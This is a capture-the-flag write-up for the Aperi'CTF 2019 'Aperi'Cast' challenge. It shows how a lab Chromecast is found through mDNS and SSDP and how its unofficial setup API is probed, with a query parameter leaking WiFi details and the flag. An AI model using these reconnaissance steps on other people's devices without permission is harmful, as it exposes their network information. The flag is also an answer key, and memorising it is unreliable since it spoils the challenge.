Aperi’CTF 2019 - Aperi’Cast
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Aperi’CTF 2019 | Aperi’Cast | Network | 150 | 4 |
Task description:
One of our employees received a threatening message informing us that secrets have been stolen from one of our connected TV screens.
You have been asked to find the TV screen and find the information that was stolen from us.
Good luck!
Reading the name of the challenge dubbed “Aperi’Cast” we can assume that we will take a look at screen mirroring / casting technologies.
The Chromecast device is very basic, but requires several protocols to be implemented, which, if not controlled, can expose sensitive information.
Device discovery
By quickly reading the Google Cast documentation we discover that the Chromecast answers to mDNS requests with _googlecast._tcp
service, let’s check:
$ avahi-browse -vr _googlecast._tcp
E Ifce Prot Name Type Domain
= eth0 IPv4 chromecast _googlecast._tcp local
hostname = [chromecast.local]
address = [192.168.4.10]
port = [8008]
txt = ["rs=Casting local content" "nf=1" "bs=FA8FCA5326AA" "st=0" "ca=200709" "fn=Dig deeper and RTFM!" "ic=/setup/icon.png" "md=Chromecast" "ve=05" "id=deadbeefcafebabec0d3cacafa11face"]
We get the IP of our Chromecast very quickly, in the TXT field of the mDNS query response, we get its UUID
as well as its friendly name
, but we need to dig deeper!
By reading some documentation on Chromecast, we learn that the device also responds to SSDP discovery requests and sends a unicast HTTP response 200 OK
containing its UUID
as well as an URI
to configure the device. Let’s check it using an ssdp discovery tool :
$ gssdp-discover -i eth0 --timeout=1 --target=urn:dial-multiscreen-org:service:dial:1
Using network interface eth0
Scanning for resources matching urn:dial-multiscreen-org:service:dial:1
Showing "available" messages
resource available
USN: uuid:deadbeef-cafe-babe-c0d3-cacafa11face::urn:dial-multiscreen-org:service:dial:1
Location: http://192.168.4.10:8008/ssdp/device-desc.xml
$ curl --location --url http://192.168.4.10:8008/ssdp/device-desc.xml
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://192.168.4.10:8008</URLBase>
<device>
<deviceType>urn:dial-multiscreen-org:device:dial:1</deviceType>
<friendlyName>Dig deeper and RTFM!</friendlyName>
<manufacturer>Google Inc.</manufacturer>
<modelName>Eureka Dongle</modelName>
<UDN>uuid:deadbeef-cafe-babe-c0d3-cacafa11face</UDN>
<iconList>
<icon>
<mimetype>image/png</mimetype>
<width>98</width>
<height>55</height>
<depth>32</depth>
<url>/setup/icon.png</url>
</icon>
</iconList>
<serviceList>
<service>
<serviceType>urn:dial-multiscreen-org:service:dial:1</serviceType>
<serviceId>urn:dial-multiscreen-org:serviceId:dial</serviceId>
<controlURL>/ssdp/notfound</controlURL>
<eventSubURL>/ssdp/notfound</eventSubURL>
<SCPDURL>/ssdp/notfound</SCPDURL>
</service>
</serviceList>
</device>
</root>
Once again, we are told to dig deeper and read the manual… However, we now have a new information, our ChromeCast is an Eureka Dongle
!
Searching for documentation on Google, we only find an unofficial API documentation, but this should be enough to solve this challenge.
API crawling
Using the Insomnia REST client, we can play with the Google Cast REST API:
By crawling all the endpoints we finally find an interesting one (actually two):
GET /setup/configured_networks
:
An error occured while trying to get WiFi info, please check <a href="/setup/eureka_info">Eureka info</a> instead
GET /setup/eureka_info
:
{
"build_info": {
"system_build_number": "151425",
"cast_build_revision": "1.39.151425",
"preview_channel_state": 0,
"release_track": "stable-channel",
"build_type": 2,
"cast_control_version": 1
},
"name": "Dig deeper and RTFM!",
"detail": {
"locale": {
"display_string": "français"
},
"icon_list": [
{
"mimetype": "image/png",
"width": 98,
"depth": 32,
"height": 55,
"url": "/setup/icon.png"
}
],
"timezone": {
"offset": 120,
"display_string": "heure d’été d’Europe centrale (Paris)"
}
}
}
On the endpoint /setup/configured_networks
we are informed that information about WiFi is available in the Eureka Info.
When we consult the documentation, we notice that the ?params
query parameter allows us to choose which information to display (including information that is not displayed). Let’s get the WiFi configurations:
GET /setup/eureka_info?params=wifi HTTP/1.1
Result:
{
"wifi": {
"signal_level": 0,
"wpa_id": 0,
"wpa_configured": true,
"wpa_state": 10,
"has_changes": false,
"ssid": "APRK{B3w4r3_Wh47_Y0uR_D3v1c3s_4r3_54Y1n6_4b0u7_Y0U!}",
"bssid": "de:ad:be:ef:ca:fe",
"noise_level": 0
}
}
The final flag is APRK{B3w4r3_Wh47_Y0uR_D3v1c3s_4r3_54Y1n6_4b0u7_Y0U!}
Happy Hacking!